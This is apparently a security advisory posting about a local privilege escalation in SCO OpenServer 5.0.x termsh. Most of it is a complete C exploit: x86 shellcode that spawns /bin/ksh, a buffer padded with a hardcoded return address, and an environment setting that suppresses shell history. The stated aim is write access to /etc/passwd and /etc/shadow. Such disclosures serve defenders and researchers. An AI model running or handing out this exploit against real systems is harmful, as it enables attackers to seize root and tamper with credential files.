[EXPL] SCO Openserver termsh Local Privilege Escalation (Exploit)

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SCO Openserver termsh Local Privilege Escalation (Exploit)
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SUMMARY

<http://www.sco.com/products/openserver/> SCO OpenServer is "a version of
the Unix computer operating system developed by Santa Cruz Operation (SCO)
and now maintained by the SCO Group".

A vulnerability in Openserver's termsh allows local users with
unauthorized write access to system essential files.

DETAILS

Vulnerable Systems:
* SCO Openserver version 5.0.x

Attacker will gain write access to /etc/passwd or /etc/shadow files on
successful attack.

Exploit:
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x68\xff\xf8\xff\x3c\x6a\x65\x89"
"\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
"\x50\x68""/ksh""\x68""/bin""\x89"
"\xe3\x50\x50\x53\xb0\x3b\xff\xd6";

int main(int argc,char* argv[])
{
char* buffer;
char* arg = "-o";
char *env[] = {"HISTORY=/dev/null",NULL};
long eip,ptr;
int i;
printf("[ SCO Openserver 5.0.7 termsh local privilege escalation
exploit\n");
if(argc < 2)
{
printf("[ Error : [path]\n[ Example: %s
/opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh\n",argv[0]);
exit(0);
}
eip = 0xa2080853;
buffer = malloc(7449 + strlen(shellcode));
memset(buffer,'\x00',7449 + strlen(shellcode));
ptr = (long)buffer + strlen(shellcode);
strncpy(buffer,shellcode,strlen(shellcode));
for(i = 1;i <= 1862;i++)
{
memcpy((char*)ptr,(char*)&eip,4);
ptr = ptr + 4;
}
execle(argv[1],argv[1],arg,buffer,NULL,env);
exit(0);
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:rodhedor@xxxxxxxxxx> RoD
hEDoR.



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